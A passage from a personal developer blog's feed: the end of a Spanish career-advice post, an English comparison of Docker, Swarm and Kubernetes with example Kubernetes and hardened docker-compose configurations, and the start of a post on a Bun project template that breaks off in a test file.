<h2 id="heading-que-pasa-una-vez-que-encontramos-trabajo-como-escalamos">¿Qué pasa una vez que encontramos trabajo? ¿Cómo escalamos?</h2>
<p>Una vez ingresas a IT no pasa a ser todo mágico, la mayoría que no nos preparamos e inclusive los que si (universidad) quizás ingresamos y nos damos cuenta de que todavía nos falta mucho, mi caso si fue ese me di cuenta de que todavía no estaba para nada listo y eso que mi primer trabajo era superfácil (si lo veo comparado a lo que hago hoy en día). Como también recuerden el mercado está apuradísimo y a pesar de tener experiencia el puesto de JR sigue siendo un descontrol, hasta que no pases a algo como SSR u SR posiblemente no llames la atención, que hice yo entonces? A pesar de que ya tenía trabajo, seguí con la misma rutina, educándome todos los días haciendo proyectos y aplicando lo que aprendía en mi trabajo y todavía rodeándome de aún más personas que tenían la misma sed de progreso que yo, a que me llevo a esto? A que en menos de 3 años pude alcanzar el nivel de responsabilidad de un SR.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728689354631/25ad8418-1794-4c64-9bca-ba797b9c7ed6.png" alt class="image--center mx-auto" /></p>
<p>Basándome en lo que define <a target="_blank" href="https://www.getonbrd.com/help/seniorities-policy">getonbrd</a> me encuentro cumpliendo todas estas en la empresa que estoy, tuve un poco de suerte en que en mis primeros 2 trabajos las personas con las que trabaje (a pesar de mi nivel actual) sigo considerando que saben muchísimo entonces si me comparo con otras personas veo que no todos tuvieron esa suerte, pero aun así mi mentalidad siempre fue la de alguien autocritico como la de querer mejorar todos los días un poco.</p>
<h3 id="heading-no-hay-que-dejar-de-mejorar">No hay que dejar de mejorar</h3>
<p>Como mencione en el punto anterior, a pesar de conseguir trabajo a como está el mercado de hoy no hay que pensar que ya vamos a tener trabajo para siempre, más si nos ponemos en comparativa contra gente que tiene un título universitario, no hay que bajar las aspiraciones (si la exigencia si quieren depende su vida, su salud y lo que los rodea) pero hay que avanzar hasta mínimo SSR/SR como para poder pensar encajar en el mercado en el mediano/largo plazo. Yo en mi caso quiero ser arquitecto, así que tengo mucho por delante todavía.</p>
<h3 id="heading-cual-es-el-estado-actual-del-mercado">¿Cuál es el estado actual del mercado?</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728694560385/414a2083-6951-4279-8a66-6e29ee746f1c.png" alt class="image--center mx-auto" /></p>
<p>Actualmente, sigue estando muy saturado, cuando salí de mi primer trabajo con casi 2y de experiencia, me costaba más conseguir entrevistas que el primero y mi segundo trabajo termine tomando uno a modo desesperación que termino siendo una horrible experiencia, las personas a nivel técnico eran lo mejor, pero la parte gerencial fue una completa explotación y maltrato que termine renunciando a los 4 meses. Inclusive después de esto empecé a cambiar de rol, empecé como desarrollador web, pero empecé a interesarme más por el área de infraestructura, así que arranque mi transición hacia ese rol. Así que deje mi cargo de SSR Software Developer por pasar a ser un JR como DevOps que fue el cargo inicial que conseguí, a principio me costó bastante claro porque a pesar de estarme preparando varios meses es bastante diferente al cargo de dev, pero aun así entre el tiempo que le dedique trabajando y por fuera a los 6 meses ya me sentía totalmente cómodo y empecé a contribuir en las decisiones de arquitectura en los productos, como también a los 12 meses de estar ahí me pidieron que empiece a tomar entrevistas técnicas, hoy en día tengo gente a cargo, mentoreo equipos, defino prácticas y lineamientos (tanto para áreas de desarrollo como para áreas de infra).</p>
<p>Ahora una opinion personal respecto a esto mismo, una vez que esten dentro y le dediquen suficiente tiempo van a ver que no hay tanta gente buena, la mayoria solo esta donde esta por el tiempo, pero la falta de ganas y amor por lo que uno hace es impresionante, entiendo los puntos de vista de las personas que tienen familia, que quizas no les sobra ni una hora en el dia para hacer algo y que cada uno vive su vida como quiere, pero aun asi la negacion en mejorar en siquiera las horas de trabajo u de escuchar una opinion ajena y creer que saben todo es impresionante, no tengan miedo el mercado esta lleno de gente mediocre, solo tienen que crecer un poco</p>
<h3 id="heading-como-puedo-escalar">¿Como puedo escalar?</h3>
<p><img src="https://www.growthforce.com/hs-fs/hubfs/Business%20Growth%20Stages.jpeg?width=897&amp;name=Business%20Growth%20Stages.jpeg" alt="https://www.growthforce.com/hs-fs/hubfs/Business%20Growth%20Stages.jpeg?width=897&amp;name=Business%20Growth%20Stages.jpeg" /></p>
<p>Posiblemente se pensaran en algun momento, por solo tener mas exp eso nos da mas seniority? ni, para el mercado quizas si pero pueden tener 5y y seguir siendo juniors a nivel responsabilidades por que efectivamente nunca se gastaron en mejorar.</p>
<p>Bueno siendo eso el caso vamos a pensar como mejorar, primero como JR se la van a pasar haciendo tareas, no las mas complejas pero van a hacer miles de cosas, como son el cargo menos importante les van a tirar muchisimo para hacer, a veces mas que el SSR pero mas cocinado (indicaciones, ayuda, etc) pero en mismas cantidades, con el fin de que ustedes puedan aprender, lo primero que tienen que priorizar es en cumplir, una vez vean que cumplan es asegurar de mejorar su nivel de autonomia, como tambien a hacer mas con menos, de dejar mas libre a las personas de cargos mas importantes y tratar de aportar mas a la empresa/proyectos con menos recursos, como tambien a empezar a pensar mejores soluciones, quizas no tengan la oportunidad en el trabajo pero en su tiempo libre para aprender hagan muchos refactors, re-inventen la rueda y hagan todo lo mas estupidamente complejo que puedan sin sentido alguno, esto en el trabajo no es aplicable pero en su tiempo libre si por que les da mejor entendiento de como funciona lo que hacen como tambien pueden mejorar cada uno de sus procesos en base a darse cuenta, a esto lo hacian de forma X por esto, despues de un tiempo van a ver que como JR van a sentir que en algunas cosas tienen el nivel tecnico de alguien de un puesto mas elevado al menos para las tareas que les asignan o que les empieza a sobrar mucho tiempo, aca es donde vamos a tener 3 tipos de personas</p>
<h3 id="heading-quien-prefiere-tomar-cosas-mas-dificiles-en-el-trabajo">Quien prefiere tomar cosas mas dificiles en el trabajo</h3>
<p>Este es el camino mas apresurado posiblemente, si empezamos a pedir tareas mas complicadas o querer que nos metan en temas complejos (los que suele estar un SSR para empezar) sabemos que ya vamos encaminados hacia ahi sin tener que dedicar tiempo por fuera del trabajo, pero esto va a depender mucho del nivel de la empresa, los equipos y demas. Puede pasar que como JR ya tengan tareas complicadas y su esfuerzo no se vea reflejado</p>
<h3 id="heading-quien-prefiere-usar-el-tiempo-libre-para-hacer-lo-que-quiera">Quien prefiere usar el tiempo libre para hacer lo que quiera</h3>
<p>Este es mi caso, yo como mi entorno no me es de mucha ayuda para progresar, utilizo el tiempo que me sobra para ponerme nuevos retos yo mismo y mejorar a mi manera como siempre lo hice, al fin y al cabo llegue a donde estoy gracias a mi dedicacion y todo lo que aprendi por fuera, el trabajo fue de ayuda pero siempre aprendi mas por mi cuenta</p>
<h3 id="heading-quieren-prefiere-mantener-un-perfil-bajo">Quieren prefiere mantener un perfil bajo</h3>
<p>Siempre va a existir el tipo de persona que prefiere hacer lo que tiene que hacer y irse a la casa o apagar la compu, asi que no hay problema si prefieren crecer por como lo estipula la empresa y quizas esperar 3y para subir de puesto esta bien no pasa nada, el mercado por el tiempo que uno tiene en una empresa igualmente les va a pagar mas con el tiempo</p>
<h3 id="heading-pensemos-en-el-negocio-y-los-equipos">Pensemos en el negocio y los equipos</h3>
<p><img src="https://images.inc.com/uploaded_files/image/1920x1080/getty_660952912_396368.jpg" alt="https://images.inc.com/uploaded_files/image/1920x1080/getty_660952912_396368.jpg" /></p>
<p>Esto se puede hacer desde ser JR, pero en caso que no lo hagamos es algo requerido para llegar a SR, ya que en base a eso vamos a ver donde alocar recursos, entender las capacidades de los equipos y asignar personas adecuadas a las tareas, ver que informacion brindar a puestos superiores y muchas cuestiones mas</p>
<h2 id="heading-disclaimer">Disclaimer</h2>
<p>Todo esto se basa en mi experiencia personal y si bien considero que todas son validas, las personas que estan hace mucho en la industria no tuvieron que pasar por esta lucha de que te postulabas a una vacante de JR y habia ya 2000 personas en 2hs, donde todos estan sobrecalificados y no te aceptan por que no cumpliste los requisitos adicionales, quien empezo hace poco considero su opinion para personas nuevas, ya si hablamos para como hacer buen software y otras cuestiones de como funcionan las empresas, siempre escuchen a las personas con mas experiencia, mi idea era expresar mas como superar la lucha que tuve (y algunos todavia tienen) contra lo enorme que es el mercado hoy en dia en los puestos bajos.</p>
]]></content:encoded></item><item><title><![CDATA[Docker, Swarm and Kubernetes, which should we use?]]></title><description><![CDATA[Overview
Today we are going to talk about the differences about each of some of the popular options out there (and the ones that I tested myself) article is inspired by https://phoenixnap.com/blog/kubernetes-vs-docker-swarm
In today computation we ar...]]></description><link>https://blog.jonathan.com.ar/docker-swarm-and-kubernetes-which-should-we-use</link><guid isPermaLink="true">https://blog.jonathan.com.ar/docker-swarm-and-kubernetes-which-should-we-use</guid><category><![CDATA[Docker]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[infrastructure]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Tue, 17 Sep 2024 03:47:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726535327304/dffca9b4-364c-42ae-af6c-360ee05759db.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">Overview</h2>
<p>Today we are going to talk about the differences about each of some of the popular options out there (and the ones that I tested myself) article is inspired by <a target="_blank" href="https://phoenixnap.com/blog/kubernetes-vs-docker-swarm">https://phoenixnap.com/blog/kubernetes-vs-docker-swarm</a></p>
<p>In today computation we are going to evaluate the following points and my personal thoughts about why should we consider all the options (and more, ej podman)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726535399521/ca19bf7b-a865-46e7-bfbd-a2d584b1b886.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-installation">Installation</h2>
<h3 id="heading-docker">Docker</h3>
<p>Straight forward in all cases and distros, you probably won’t need any sort of instruction outside the documentation to land using docker.</p>
<h3 id="heading-swarm">Swarm</h3>
<p>Since swarm comes with docker in most distros, you are already there!</p>
<h3 id="heading-kubernetes">Kubernetes</h3>
<p>So here things get a little tricky, because kubernetes it’s a suite of components, when we talk about kubernetes we often refer to the cluster itself already working, but to get there we need things like kubeadm or kubectl, from there we can create our cluster with more things like minikube, microk8s, k3s. These provide functionality for the cluster, while the other tools mentioned provide a way to operate with them. You can read more about each one here <a target="_blank" href="https://www.linkedin.com/pulse/understanding-kubeadm-kubelet-kubectl-aloysius-pious-fqwsc/">https://www.linkedin.com/pulse/understanding-kubeadm-kubelet-kubectl-aloysius-pious-fqwsc/</a></p>
<p>And about the components here components are listed here <a target="_blank" href="https://kubernetes.io/docs/reference/command-line-tools-reference/">https://kubernetes.io/docs/reference/command-line-tools-reference/</a></p>
<h2 id="heading-learning-curve">Learning Curve</h2>
<h3 id="heading-docker-1">Docker</h3>
<p>For personal usage I’ll say is quite easy, especially if you are only going to use things that other built, then to build larger things or even try to use it in production (don’t, at least use swarm) it becomes quite a challenge, not because is hard but yes because you start to find the limitations of running docker standalone.</p>
<h3 id="heading-swarm-1">Swarm</h3>
<p>After using docker itself, I’ll say transitioning into swarm is quite easy, you start seeing a few commands more and that’s all, what is not the same is that we start digging into container orchestrators. But compared to k8s trust me that is really easy!</p>
<h3 id="heading-kubernetes-1">Kubernetes</h3>
<p>If you come from docker standalone, the concept of container orchestrators itself is going to be a challenge for you, coming from swarm I’ll say is hard but doable and healthy, looking into the additional components of kubernetes is up to you how hard it will become, you can start by trying things like minikube and say of wow this is not that hard, but once you start to think about doing a production ready cluster which is the point of kubernetes (if you are not aiming for that is clear that swarm is enough) challenges for your knowledge start to appear</p>
<h2 id="heading-gui">GUI</h2>
<h3 id="heading-docker-2">Docker</h3>
<p>Nothing pre-installed, we can use things docker desktop for personal or team usage, portainer, etc</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726538356278/879a863a-fe86-4001-874d-3d77e2ddc3f7.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-swarm-2">Swarm</h3>
<p>Same case as Docker standalone, dozzle is quite nice since it comes with swarm mode</p>
<h3 id="heading-kubernetes-2">Kubernetes</h3>
<p>k8s comes with a dedicated dashboard, but if you are using k3s like myself, portainer is a good option to manage your cluster</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726538460991/3f47a1e5-809f-40ec-9dec-b0894c413d8e.png" alt class="image--center mx-auto" /></p>
<p>The kubernetes dashboard can be found here <a target="_blank" href="https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/">https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/</a></p>
<h2 id="heading-cluster-setup">Cluster Setup</h2>
<h3 id="heading-docker-3">Docker</h3>
<p>N/A</p>
<h3 id="heading-swarm-3">Swarm</h3>
<p>To create a cluster is quite easy, we can use the command <code>docker swarm</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726538609669/7165be6b-754e-4003-be41-9d032c06d102.png" alt class="image--center mx-auto" /></p>
<p>With the <code>init</code> we start the swarm and with <code>docker swarm join-token</code> we generate a command to join from the other nodes</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726538714718/246d03c6-e515-49c4-b500-25f9e3c9a888.png" alt class="image--center mx-auto" /></p>
<p>Then you can check if the nodes are there</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726538752029/b303fd85-1294-47e8-a1e1-324b6a6abfbd.png" alt class="image--center mx-auto" /></p>
<p>From here you can create a compose file and start doing your deploys</p>
<h3 id="heading-kubernetes-3">Kubernetes</h3>
<p>Depending on which engine you are going to use installation varies, in my case i’m using k3s since my cluster is running in multiple Raspberry Pi’s so it comes handy, check <a target="_blank" href="https://docs.k3s.io/installation/requirements">https://docs.k3s.io/installation/requirements</a> for details.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726539003185/1cca79b3-9e3c-4d81-9446-9afb9b35dc9c.png" alt class="image--center mx-auto" /></p>
<p>After the first installation we will have the cluster with the master node / control-plane, from there we can log in into another machines and do the same with the k3s_token.</p>
<p>To check the state of the cluster and nodes, you can do the following</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726539159089/bda516fe-943d-4a3a-a2cc-beb599ff459e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-scalability">Scalability</h2>
<h3 id="heading-docker-4">Docker</h3>
<p>So we need that our application handles more traffic, if we can to scale we have to of course either expand the resources of the machine, add more replicas (manually) or deploy multiple containers if different machines which a load balancer up front, so docker standalone won’t help us scale, is up to us how we handle it</p>
<h3 id="heading-swarm-4">Swarm</h3>
<p>Replicas? easy-peasy, containers across multiple computers? easy-peasy, internal load balancer? easy-peasy, outside automatic horizontal scaling swarm makes really easy this work, it is PERFECT when we have a b2b app or something that we are not going to handle 5000 users and the next day 20 million</p>
<h3 id="heading-kubernetes-4">Kubernetes</h3>
<p>We can’t say much about kubernetes in terms of scalability since it is top-notch, at the cost of the learning curve, and hardware we have all the possible benefits that any company or product needs, I’ll say if you are in a business/product that can grow from day to night, you HAVE to use it. Imagine that you are hosting your website and one day MrBeast decides to promote your site, you know everything is going to blow up that day, kubernetes can save you that day (let’s not talk about $$)</p>
<h2 id="heading-horizontal-auto-scaling">Horizontal auto-scaling</h2>
<h3 id="heading-docker-5">Docker</h3>
<p>N/A</p>
<h3 id="heading-swarm-5">Swarm</h3>
<p>N/A</p>
<h3 id="heading-kubernetes-5">Kubernetes</h3>
<p>Yes! One of the most useful features, the one that can save you (if you have enough resources to begin) if the example the created above becomes real! :) I’ll leave something to read about it <a target="_blank" href="https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/">https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/</a></p>
<h2 id="heading-monitoring">Monitoring</h2>
<h3 id="heading-docker-and-swarm">Docker and Swarm</h3>
<p>Third-party tools are your friends</p>
<p><a target="_blank" href="https://docs.docker.com/engine/daemon/prometheus/">https://docs.docker.com/engine/daemon/prometheus/</a></p>
<p><a target="_blank" href="https://github.com/louislam/uptime-kuma">https://github.com/louislam/uptime-kuma</a></p>
<h3 id="heading-kubernetes-6">Kubernetes</h3>
<p>Resources can be found here <a target="_blank" href="https://kubernetes.io/docs/tasks/debug/debug-cluster/resource-usage-monitoring/">https://kubernetes.io/docs/tasks/debug/debug-cluster/resource-usage-monitoring/</a></p>
<h2 id="heading-load-balancer">Load balancer</h2>
<h3 id="heading-docker-6">Docker</h3>
<p>N/A</p>
<h3 id="heading-swarm-6">Swarm</h3>
<p>Suppressively it comes by default</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726542041407/b3da7a19-babd-42bb-a57e-2fd283f60048.png" alt class="image--center mx-auto" /></p>
<p>Here I have a few services running, if I point my reverse proxy to any of that external ports it will internally load balance across the replicas.</p>
<h3 id="heading-kubernetes-7">Kubernetes</h3>
<p>The easiest way is to create a <code>Service</code> alongside a <code>Deployment</code> which the type <code>LoadBalancer</code>. An example can be something like this</p>
<pre><code class="lang-yaml"><span class="hljs-comment">## infobae-deployment.yml</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae-api</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">infobae-api-worker</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">3</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae-api</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae-api</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">affinity:</span>
        <span class="hljs-attr">podAntiAffinity:</span>
          <span class="hljs-attr">requiredDuringSchedulingIgnoredDuringExecution:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">labelSelector:</span>
                <span class="hljs-attr">matchLabels:</span>
                  <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae-api</span>
              <span class="hljs-attr">topologyKey:</span> <span class="hljs-string">"kubernetes.io/hostname"</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">image:</span> <span class="hljs-string">dyallo/infobae_api</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">infobae-api</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">3000</span>
              <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
      <span class="hljs-attr">restartPolicy:</span> <span class="hljs-string">Always</span>
</code></pre>
<pre><code class="lang-yaml"><span class="hljs-comment">## infobae-service.yml</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae-api</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">infobae-api</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">'tcp'</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">3000</span>
      <span class="hljs-attr">targetPort:</span> <span class="hljs-number">3000</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae-api</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">LoadBalancer</span>
</code></pre>
<p>Then we can do run them with <code>kubectl apply -f .</code> if both files are in the same folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726542702069/d75f9670-c737-4c30-bd48-2bc4a0f1b0ea.png" alt class="image--center mx-auto" /></p>
<p>More information can be found here <a target="_blank" href="https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/">https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/</a></p>
<h2 id="heading-security">Security</h2>
<h3 id="heading-all">All</h3>
<p>We can say that all of them have a lot of security options if we dig enough, good resource are</p>
<p><a target="_blank" href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security</a></p>
<p><a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html</a></p>
<p>which I suggest learning in docker at least is capabilities, security_opts, apparmor, seccomp and Dockerfiles with the least privilege or distroless if applies.</p>
<p>I’ll leave an example of a docker-compose with some of the practices mentioned</p>
<pre><code class="lang-yaml"><span class="hljs-attr">services:</span>
  <span class="hljs-attr">waifuland:</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">waifuland</span>
    <span class="hljs-attr">security_opt:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">seccomp:seccomp.json</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">apparmor:non-root-profile</span>
      <span class="hljs-bullet">-</span> <span class="hljs-literal">no</span><span class="hljs-string">-new-privileges:true</span>
    <span class="hljs-attr">build:</span>
        <span class="hljs-attr">context:</span> <span class="hljs-string">../</span>
        <span class="hljs-attr">dockerfile:</span> <span class="hljs-string">docker/Dockerfile</span>
    <span class="hljs-attr">cap_add:</span> [<span class="hljs-string">"DAC_OVERRIDE"</span>]
    <span class="hljs-attr">cap_drop:</span> [<span class="hljs-string">"ALL"</span>]
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">env_file:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">../.env</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">${EXTERNAL_PORT}:${PORT}</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">waifuland</span>

<span class="hljs-attr">networks:</span>
    <span class="hljs-attr">waifuland:</span>
        <span class="hljs-attr">driver:</span> <span class="hljs-string">bridge</span>
</code></pre>
<h2 id="heading-cli">CLI</h2>
<h3 id="heading-docker-7">Docker</h3>
<p>Docker engine itself comes with the <code>docker</code> command which is their own cli to manage both docker standalone and docker swarm</p>
<h3 id="heading-swarm-7">Swarm</h3>
<p>Same as docker, with different commands</p>
<h3 id="heading-kubernetes-8">Kubernetes</h3>
<p>The components of Kubernetes itself don’t include a CLI, you have to install it yourself.</p>
<h2 id="heading-use-case">Use case</h2>
<h3 id="heading-docker-8">Docker</h3>
<p>Let’s say you are trying a new tool, building a feature or anything for development, docker standalone works perfect since the container is going to use the image that the server runs in the end.</p>
<p>Proof of concepts are also welcome since you can run services locally without the need of deployments.</p>
<p>Small companies who have environments which can vary in dependencies and want to regulate their deployments can decide to start using docker, which a really low cost.</p>
<p>All sort of companies can benefit from docker standalone, I’ll not recommend docker standalone for critical applications or core.</p>
<h3 id="heading-swarm-8">Swarm</h3>
<p>So swarm is a big step already, one big candidate for swarm for me is B2B models where traffic or users vary only if we got new clients, our application can maybe live with the amount of users that is there and not ground since is a niche market or when is going to grow we now the exact number of users/traffic that we are going to receive so we can scale up in advance, the tools that swarm offers are not automatic but are easy to set up and effective.</p>
<p>Another use case for swarm is the learning process, k8s comes with a big learning curve, if you want to have a more healthy transition going from docker, to swarm, to k8s is going to make your life easier.</p>
<p>Small to medium companies can benefit from docker swarm, I’ll not recommend docker swarm for the core of your business.</p>
<h3 id="heading-kubernetes-9">Kubernetes</h3>
<p>So let’s go with the example from above, MrBeast decides to promote our site, and we know the traffic is going to zero to hero, that’s cool but is not cool if our infrastructure can’t handle that traffic and users receive a painful experience or worst the page is down. With features like horizontal autoscale (as long as we have resources speaking of self-hosted) we can survive this incident, in core or critical applications we NEED things like that where HA is necessary.</p>
<p>So paying the cost of hosting or using/learning is big, but benefit can be also huge if we take the example from above.</p>
<p>K8S is the standard nowadays for enterprise application, my only recommendation is to evaluate each of the needs for the companies, projects and more, you can sometime get away with docker standalone or swarm.</p>
<p>Medium to large companies can benefit from Kubernetes.</p>
]]></content:encoded></item><item><title><![CDATA[Building a template with Bun]]></title><description><![CDATA[Hihi! Lately i've been using a lot of bun in my side projects, why? because it cames with a lot of things that I use already solved
You can check the repository i'm using for example here

Typescript? ✅
Single Ejecutable File? ✅
Multiple Architecture...]]></description><link>https://blog.jonathan.com.ar/building-a-template-with-bun</link><guid isPermaLink="true">https://blog.jonathan.com.ar/building-a-template-with-bun</guid><category><![CDATA[Bun]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[template]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Tue, 09 Jul 2024 02:21:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720489424473/908c9813-0614-437f-9872-96378d0eff88.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hihi! Lately i've been using a lot of bun in my side projects, why? because it cames with a lot of things that I use already solved</p>
<p>You can check the repository i'm using for example <a target="_blank" href="https://github.com/jd-apprentice/jd-bun">here</a></p>
<ul>
<li>Typescript? ✅</li>
<li>Single Ejecutable File? ✅</li>
<li>Multiple Architectures? ✅</li>
<li>Test runner? ✅</li>
<li>Coverage? ✅</li>
<li>Pipelines? ✅</li>
</ul>
<p>With all of these already we can make sure to build a suitable product, giving quality and speed, since all of these things are really easy to setup, let's dive in.</p>
<h3 id="heading-typing">Typing 🟦</h3>
<p>We have two ways, use typescript or jsdocs, since I'm already confortable with TS and I know what i'm doing I'll always use JS instead but never lost the habit of adding types thats when jsdocs comes to save the day.</p>
<p>Here is an example of a function using jsdocs in javascript</p>
<pre><code class="lang-js"><span class="hljs-comment">/**
 * <span class="hljs-doctag">@description </span>Notify the user that the message is too long
 * <span class="hljs-doctag">@param <span class="hljs-type">{ Object }</span> <span class="hljs-variable">options</span></span> - Options object
 * <span class="hljs-doctag">@param <span class="hljs-type">{ string }</span> </span>options.notification - Message to notify the user
 * <span class="hljs-doctag">@param <span class="hljs-type">{ string }</span> </span>options.std - Content to be evaluated
 * <span class="hljs-doctag">@param <span class="hljs-type">{ number }</span> </span>options.maxLength - Max length of the message
 * <span class="hljs-doctag">@param <span class="hljs-type">{ import("#types").sendMessage }</span> </span>options.fn - Function to send the message
 * <span class="hljs-doctag">@returns <span class="hljs-type">{ undefined }</span></span>
 */</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendMessageIfLong</span>(<span class="hljs-params">options</span>) </span>{
  <span class="hljs-keyword">const</span> { notification, std, maxLength, fn } = options;
  <span class="hljs-keyword">const</span> notificationMessage = notification + <span class="hljs-string">'sending in parts...'</span>;
  <span class="hljs-keyword">const</span> delay = <span class="hljs-number">2000</span>;
  <span class="hljs-keyword">const</span> isStdValid = std !== <span class="hljs-literal">null</span>;

  <span class="hljs-keyword">if</span> (isStdValid) {
    <span class="hljs-keyword">const</span> isLargeMessage = std.length &gt; maxLength;
    <span class="hljs-keyword">if</span> (isLargeMessage) {
      fn(notificationMessage || noOutputMessage + <span class="hljs-string">'sendMessageIfLong'</span>);
      sleep(delay);
      <span class="hljs-keyword">const</span> splitMessage = splitString(std, maxLength);
      splitMessage.forEach(<span class="hljs-function"><span class="hljs-params">part</span> =&gt;</span> fn(part));
    }
  }
}
</code></pre>
<p>Did I mention that we can create documentation with the jsdocs typing? with esdocs we can create something like this! https://bun-template.jonathan.com.ar/</p>
<h3 id="heading-binary">Binary 🔢</h3>
<p>But why binarys tho? well not everything is a web!! (you could use it with web anyways if you are lazy and run it with ./binary &amp; if is for a sample project) but now being serious, there are some projects where a binary comes handy and I love to have a easy way to do it, or to not have to install nothing more.</p>
<p>With something like this in our package.json <code>"build": "bun build ./src/index.js --compile --outfile lib/app_name"</code> we are up to go and whats better than having binarys at our disposal?</p>
<h3 id="heading-architecture">Architecture 🏚</h3>
<p>Having multiple architecture to built in! Yes I love this as a fan of ARM64 or ARMV7 I always had to do work arounds to build docker images and transform apps (mostly for ARMV7 not for ARM64) but anyways, this is so cool. You should give it a try</p>
<pre><code class="lang-shell">bun build --compile --target=bun-linux-arm64 ./index.ts --outfile myapp
</code></pre>
<h3 id="heading-testing">Testing 🧪</h3>
<p>Now here we have two things, the hability to do unit testing with some sort of jest (or also import jest), integration test if we install <code>supertest</code> and add coverage if we configure our <code>bunfig.toml</code></p>
<p>To add coverage to our projects is something like this</p>
<pre><code class="lang-toml"><span class="hljs-section">[test]</span>

<span class="hljs-attr">coverage</span> = <span class="hljs-literal">true</span>
<span class="hljs-attr">coverageThreshold</span> = { line = <span class="hljs-number">0.7</span>, function = <span class="hljs-number">0.5</span> }
</code></pre>
<p>It is true that at the time i'm writing this bun do not have any sort of test reporter, which is really needed on enterprise level to create junit files for example and add graphics to platforms like github or azure devops for example. You can follow this thread to get in touch about it <a target="_blank" href="https://github.com/oven-sh/bun/issues/1825">here</a> and contribute to make it real</p>
<p>By the way tests are extremely fast!</p>
<p><img src="https://github.com/jd-apprentice/blog-assets/blob/main/bun/1.png?raw=true" alt="1" /></p>
<p>Here are some of the test that are running</p>
<pre><code class="lang-js"><span class="hljs-keyword">import</span> { SampleApp } <span class="hljs-keyword">from</span> <span class="hljs-string">"src"</span>;
<span class="hljs-keyword">import</span> { describe, it, expect, beforeAll } <span class="hljs-keyword">from</span> <span class="hljs-string">'bun:test'</span>;

describe(<span class="hljs-string">"SampleApp Class"</span>, <span class="hljs-function">() =&gt;</span> {

    <span class="hljs-comment">/**
     * @type {SampleApp}
     */</span>
    <span class="hljs-keyword">let</span> sampleApp;

